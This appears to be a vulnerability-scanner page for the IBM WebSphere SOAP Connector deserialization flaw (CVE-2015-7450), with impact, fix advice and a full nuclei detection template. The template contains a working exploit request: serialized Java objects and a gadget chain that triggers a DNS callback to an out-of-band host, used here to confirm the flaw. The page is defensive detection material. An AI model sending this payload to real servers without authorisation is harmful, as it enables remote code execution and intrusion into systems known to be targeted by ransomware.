IBM WebSphere Java Object Deserialization - Remote Code Execution

Exploited in the wild. Listed by CISA on 2022-01-10; known to be used by ransomware.

criticalseverity

9.8CVSS score

97.8%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

IBM Websphere Application Server 7, 8, and 8.5 have a deserialization vulnerability in the SOAP Connector (port 8880 by default).

Impact

Successful exploitation of this vulnerability can lead to remote code execution, allowing an attacker to execute arbitrary code on the affected system.

Fix

Apply the latest security patches provided by IBM to mitigate this vulnerability.

How to confirm it

Send: POST /
Positive when: contains "SOAP-ENV:Server" and "<faultcode>" AND contains in interactsh_protocol "dns" AND status 500

Run it with nuclei: nuclei -id CVE-2015-7450 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2015-7450

info:
  name: IBM WebSphere Java Object Deserialization - Remote Code Execution
  author: wdahlenb
  severity: critical
  description: IBM Websphere Application Server 7, 8, and 8.5 have a deserialization vulnerability in the SOAP Connector (port 8880 by default).
  impact: |
    Successful exploitation of this vulnerability can lead to remote code execution, allowing an attacker to execute arbitrary code on the affected system.
  remediation: |
    Apply the latest security patches provided by IBM to mitigate this vulnerability.
  reference:
    - https://github.com/Coalfire-Research/java-deserialization-exploits/blob/main/WebSphere/websphere_rce.py
    - https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/
    - https://nvd.nist.gov/vuln/detail/CVE-2015-7450
    - http://www-01.ibm.com/support/docview.wss?uid=swg21972799
    - http://www-01.ibm.com/support/docview.wss?uid=swg21970575
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2015-7450
    cwe-id: CWE-94
    epss-score: 0.97764
    epss-percentile: 0.99904
    cpe: cpe:2.3:a:ibm:tivoli_common_reporting:2.1:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: ibm
    product: tivoli_common_reporting
    shodan-query:
      - http.html:"IBM WebSphere Portal"
      - http.html:"ibm websphere portal"
    fofa-query: body="ibm websphere portal"
  tags: cve2015,cve,websphere,deserialization,rce,oast,ibm,java,kev,vkev,vuln

http:
  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: text/xml; charset=utf-8
        SOAPAction: "urn:AdminService"

        <?xml version='1.0' encoding='UTF-8'?>
        <SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
        <SOAP-ENV:Header ns0:JMXConnectorContext="rO0ABXNyAA9qYXZhLnV0aWwuU3RhY2sQ/irCuwmGHQIAAHhyABBqYXZhLnV0aWwuVmVjdG9y2Zd9W4A7rwEDAANJABFjYXBhY2l0eUluY3JlbWVudEkADGVsZW1lbnRDb3VudFsAC2VsZW1lbnREYXRhdAATW0xqYXZhL2xhbmcvT2JqZWN0O3hwAAAAAAAAAAF1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAAKc3IAOmNvbS5pYm0ud3MubWFuYWdlbWVudC5jb25uZWN0b3IuSk1YQ29ubmVjdG9yQ29udGV4dEVsZW1lbnTblRMyYyF8sQIABUwACGNlbGxOYW1ldAASTGphdmEvbGFuZy9TdHJpbmc7TAAIaG9zdE5hbWVxAH4AB0wACG5vZGVOYW1lcQB+AAdMAApzZXJ2ZXJOYW1lcQB+AAdbAApzdGFja1RyYWNldAAeW0xqYXZhL2xhbmcvU3RhY2tUcmFjZUVsZW1lbnQ7eHB0AAB0AAhMYXAzOTAxM3EAfgAKcQB+AAp1cgAeW0xqYXZhLmxhbmcuU3RhY2tUcmFjZUVsZW1lbnQ7AkYqPDz9IjkCAAB4cAAAACpzcgAbamF2YS5sYW5nLlN0YWNrVHJhY2VFbGVtZW50YQnFmiY23YUCAARJAApsaW5lTnVtYmVyTAAOZGVjbGFyaW5nQ2xhc3NxAH4AB0wACGZpbGVOYW1lcQB+AAdMAAptZXRob2ROYW1lcQB+AAd4cAAAAEt0ADpjb20uaWJtLndzLm1hbmFnZW1lbnQuY29ubmVjdG9yLkpNWENvbm5lY3RvckNvbnRleHRFbGVtZW50dAAfSk1YQ29ubmVjdG9yQ29udGV4dEVsZW1lbnQuamF2YXQABjxpbml0PnNxAH4ADgAAADx0ADNjb20uaWJtLndzLm1hbmFnZW1lbnQuY29ubmVjdG9yLkpNWENvbm5lY3RvckNvbnRleHR0ABhKTVhDb25uZWN0b3JDb250ZXh0LmphdmF0AARwdXNoc3EAfgAOAAAGQ3QAOGNvbS5pYm0ud3MubWFuYWdlbWVudC5jb25uZWN0b3Iuc29hcC5TT0FQQ29ubmVjdG9yQ2xpZW50dAAYU09BUENvbm5lY3RvckNsaWVudC5qYXZhdAAcZ2V0Sk1YQ29ubmVjdG9yQ29udGV4dEhlYWRlcnNxAH4ADgAAA0h0ADhjb20uaWJtLndzLm1hbmFnZW1lbnQuY29ubmVjdG9yLnNvYXAuU09BUENvbm5lY3RvckNsaWVudHQAGFNPQVBDb25uZWN0b3JDbGllbnQuamF2YXQAEmludm9rZVRlbXBsYXRlT25jZXNxAH4ADgAAArF0ADhjb20uaWJtLndzLm1hbmFnZW1lbnQuY29ubmVjdG9yLnNvYXAuU09BUENvbm5lY3RvckNsaWVudHQAGFNPQVBDb25uZWN0b3JDbGllbnQuamF2YXQADmludm9rZVRlbXBsYXRlc3EAfgAOAAACp3QAOGNvbS5pYm0ud3MubWFuYWdlbWVudC5jb25uZWN0b3Iuc29hcC5TT0FQQ29ubmVjdG9yQ2xpZW50dAAYU09BUENvbm5lY3RvckNsaWVudC5qYXZhdAAOaW52b2tlVGVtcGxhdGVzcQB+AA4AAAKZdAA4Y29tLmlibS53cy5tYW5hZ2VtZW50LmNvbm5lY3Rvci5zb2FwLlNPQVBDb25uZWN0b3JDbGllbnR0ABhTT0FQQ29ubmVjdG9yQ2xpZW50LmphdmF0AAZpbnZva2VzcQB+AA4AAAHndAA4Y29tLmlibS53cy5tYW5hZ2VtZW50LmNvbm5lY3Rvci5zb2FwLlNPQVBDb25uZWN0b3JDbGllbnR0ABhTT0FQQ29ubmVjdG9yQ2xpZW50LmphdmF0AAZpbnZva2VzcQB+AA7/////dAAVY29tLnN1bi5wcm94eS4kUHJveHkwcHQABmludm9rZXNxAH4ADgAAAOB0ACVjb20uaWJtLndzLm1hbmFnZW1lbnQuQWRtaW5DbGllbnRJbXBsdAAUQWRtaW5DbGllbnRJbXBsLmphdmF0AAZpbnZva2VzcQB+AA4AAADYdAA9Y29tLmlibS53ZWJzcGhlcmUubWFuYWdlbWVudC5jb25maWdzZXJ2aWNlLkNvbmZpZ1NlcnZpY2VQcm94eXQAF0NvbmZpZ1NlcnZpY2VQcm94eS5qYXZhdAARZ2V0VW5zYXZlZENoYW5nZXNzcQB+AA4AAAwYdAAmY29tLmlibS53cy5zY3JpcHRpbmcuQWRtaW5Db25maWdDbGllbnR0ABZBZG1pbkNvbmZpZ0NsaWVudC5qYXZhdAAKaGFzQ2hhbmdlc3NxAH4ADgAAA/Z0AB5jb20uaWJtLndzLnNjcmlwdGluZy5XYXN4U2hlbGx0AA5XYXN4U2hlbGwuamF2YXQACHRpbWVUb0dvc3EAfgAOAAAFm3QAImNvbS5pYm0ud3Muc2NyaXB0aW5nLkFic3RyYWN0U2hlbGx0ABJBYnN0cmFjdFNoZWxsLmphdmF0AAtpbnRlcmFjdGl2ZXNxAH4ADgAACPp0ACJjb20uaWJtLndzLnNjcmlwdGluZy5BYnN0cmFjdFNoZWxsdAASQWJzdHJhY3RTaGVsbC5qYXZhdAADcnVuc3EAfgAOAAAElHQAHmNvbS5pYm0ud3Muc2NyaXB0aW5nLldhc3hTaGVsbHQADldhc3hTaGVsbC5qYXZhdAAEbWFpbnNxAH4ADv////50ACRzdW4ucmVmbGVjdC5OYXRpdmVNZXRob2RBY2Nlc3NvckltcGx0AB1OYXRpdmVNZXRob2RBY2Nlc3NvckltcGwuamF2YXQAB2ludm9rZTBzcQB+AA4AAAA8dAAkc3VuLnJlZmxlY3QuTmF0aXZlTWV0aG9kQWNjZXNzb3JJbXBsdAAdTmF0aXZlTWV0aG9kQWNjZXNzb3JJbXBsLmphdmF0AAZpbnZva2VzcQB+AA4AAAAldAAoc3VuLnJlZmxlY3QuRGVsZWdhdGluZ01ldGhvZEFjY2Vzc29ySW1wbHQAIURlbGVnYXRpbmdNZXRob2RBY2Nlc3NvckltcGwuamF2YXQABmludm9rZXNxAH4ADgAAAmN0ABhqYXZhLmxhbmcucmVmbGVjdC5NZXRob2R0AAtNZXRob2QuamF2YXQABmludm9rZXNxAH4ADgAAAOp0ACJjb20uaWJtLndzc3BpLmJvb3RzdHJhcC5XU0xhdW5jaGVydAAPV1NMYXVuY2hlci5qYXZhdAAKbGF1bmNoTWFpbnNxAH4ADgAAAGB0ACJjb20uaWJtLndzc3BpLmJvb3RzdHJhcC5XU0xhdW5jaGVydAAPV1NMYXVuY2hlci5qYXZhdAAEbWFpbnNxAH4ADgAAAE10ACJjb20uaWJtLndzc3BpLmJvb3RzdHJhcC5XU0xhdW5jaGVydAAPV1NMYXVuY2hlci5qYXZhdAADcnVuc3EAfgAO/////nQAJHN1bi5yZWZsZWN0Lk5hdGl2ZU1ldGhvZEFjY2Vzc29ySW1wbHQAHU5hdGl2ZU1ldGhvZEFjY2Vzc29ySW1wbC5qYXZhdAAHaW52b2tlMHNxAH4ADgAAADx0ACRzdW4ucmVmbGVjdC5OYXRpdmVNZXRob2RBY2Nlc3NvckltcGx0AB1OYXRpdmVNZXRob2RBY2Nlc3NvckltcGwuamF2YXQABmludm9rZXNxAH4ADgAAACV0AChzdW4ucmVmbGVjdC5EZWxlZ2F0aW5nTWV0aG9kQWNjZXNzb3JJbXBsdAAhRGVsZWdhdGluZ01ldGhvZEFjY2Vzc29ySW1wbC5qYXZhdAAGaW52b2tlc3EAfgAOAAACY3QAGGphdmEubGFuZy5yZWZsZWN0Lk1ldGhvZHQAC01ldGhvZC5qYXZhdAAGaW52b2tlc3EAfgAOAAACS3QANG9yZy5lY2xpcHNlLmVxdWlub3guaW50ZXJuYWwuYXBwLkVjbGlwc2VBcHBDb250YWluZXJ0ABhFY2xpcHNlQXBwQ29udGFpbmVyLmphdmF0ABdjYWxsTWV0aG9kV2l0aEV4Y2VwdGlvbnNxAH4ADgAAAMZ0ADFvcmcuZWNsaXBzZS5lcXVpbm94LmludGVybmFsLmFwcC5FY2xpcHNlQXBwSGFuZGxldAAVRWNsaXBzZUFwcEhhbmRsZS5qYXZhdAADcnVuc3EAfgAOAAAAbnQAPG9yZy5lY2xpcHNlLmNvcmUucnVudGltZS5pbnRlcm5hbC5hZGFwdG9yLkVjbGlwc2VBcHBMYXVuY2hlcnQAF0VjbGlwc2VBcHBMYXVuY2hlci5qYXZhdAAOcnVuQXBwbGljYXRpb25zcQB+AA4AAABPdAA8b3JnLmVjbGlwc2UuY29yZS5ydW50aW1lLmludGVybmFsLmFkYXB0b3IuRWNsaXBzZUFwcExhdW5jaGVydAAXRWNsaXBzZUFwcExhdW5jaGVyLmphdmF0AAVzdGFydHNxAH4ADgAAAXF0AC9vcmcuZWNsaXBzZS5jb3JlLnJ1bnRpbWUuYWRhcHRvci5FY2xpcHNlU3RhcnRlcnQAE0VjbGlwc2VTdGFydGVyLmphdmF0AANydW5zcQB+AA4AAACzdAAvb3JnLmVjbGlwc2UuY29yZS5ydW50aW1lLmFkYXB0b3IuRWNsaXBzZVN0YXJ0ZXJ0ABNFY2xpcHNlU3RhcnRlci5qYXZhdAADcnVuc3EAfgAO/////nQAJHN1bi5yZWZsZWN0Lk5hdGl2ZU1ldGhvZEFjY2Vzc29ySW1wbHQAHU5hdGl2ZU1ldGhvZEFjY2Vzc29ySW1wbC5qYXZhdAAHaW52b2tlMHNxAH4ADgAAADx0ACRzdW4ucmVmbGVjdC5OYXRpdmVNZXRob2RBY2Nlc3NvckltcGx0AB1OYXRpdmVNZXRob2RBY2Nlc3NvckltcGwuamF2YXQABmludm9rZXNxAH4ADgAAACV0AChzdW4ucmVmbGVjdC5EZWxlZ2F0aW5nTWV0aG9kQWNjZXNzb3JJbXBsdAAhRGVsZWdhdGluZ01ldGhvZEFjY2Vzc29ySW1wbC5qYXZhdAAGaW52b2tlc3EAfgAOAAACY3QAGGphdmEubGFuZy5yZWZsZWN0Lk1ldGhvZHQAC01ldGhvZC5qYXZhdAAGaW52b2tlc3EAfgAOAAABVHQAHm9yZy5lY2xpcHNlLmNvcmUubGF1bmNoZXIuTWFpbnQACU1haW4uamF2YXQAD2ludm9rZUZyYW1ld29ya3NxAH4ADgAAARp0AB5vcmcuZWNsaXBzZS5jb3JlLmxhdW5jaGVyLk1haW50AAlNYWluLmphdmF0AAhiYXNpY1J1bnNxAH4ADgAAA9V0AB5vcmcuZWNsaXBzZS5jb3JlLmxhdW5jaGVyLk1haW50AAlNYWluLmphdmF0AANydW5zcQB+AA4AAAGQdAAlY29tLmlibS53c3NwaS5ib290c3RyYXAuV1NQcmVMYXVuY2hlcnQAEldTUHJlTGF1bmNoZXIuamF2YXQADWxhdW5jaEVjbGlwc2VzcQB+AA4AAACjdAAlY29tLmlibS53c3NwaS5ib290c3RyYXAuV1NQcmVMYXVuY2hlcnQAEldTUHJlTGF1bmNoZXIuamF2YXQABG1haW5wcHBwcHBwcHB4" xmlns:ns0="admin" ns0:WASRemoteRuntimeVersion="8.5.5.7" ns0:JMXMessageVersion="1.2.0" ns0:JMXVersion="1.2.0">
        </SOAP-ENV:Header>
        <SOAP-ENV:Body>
        <ns1:invoke xmlns:ns1="urn:AdminService" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
        <objectname xsi:type="ns1:javax.management.ObjectName">rO0ABXNyABtqYXZheC5tYW5hZ2VtZW50Lk9iamVjdE5hbWUPA6cb620VzwMAAHhwdACxV2ViU3BoZXJlOm5hbWU9Q29uZmlnU2VydmljZSxwcm9jZXNzPXNlcnZlcjEscGxhdGZvcm09cHJveHksbm9kZT1MYXAzOTAxM05vZGUwMSx2ZXJzaW9uPTguNS41LjcsdHlwZT1Db25maWdTZXJ2aWNlLG1iZWFuSWRlbnRpZmllcj1Db25maWdTZXJ2aWNlLGNlbGw9TGFwMzkwMTNOb2RlMDFDZWxsLHNwZWM9MS4weA==</objectname>
        <operationname xsi:type="xsd:string">getUnsavedChanges</operationname>
        <params xsi:type="ns1:[Ljava.lang.Object;">{{ generate_java_gadget("dns", "{{interactsh-url}}", "base64-raw")}}</params>
        <signature xsi:type="ns1:[Ljava.lang.String;">rO0ABXVyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0ACRjb20uaWJtLndlYnNwaGVyZS5tYW5hZ2VtZW50LlNlc3Npb24=</signature>
        </ns1:invoke>
        </SOAP-ENV:Body>
        </SOAP-ENV:Envelope>

    matchers-condition: and
    matchers:
      - type: word
        words:
          - 'SOAP-ENV:Server'
          - '<faultcode>'
        condition: and

      - type: word
        part: interactsh_protocol # Confirms the DNS Interaction
        words:
          - "dns"

      - type: status
        status:
          - 500

References

Use this check only on systems you are authorised to test. Where the data comes from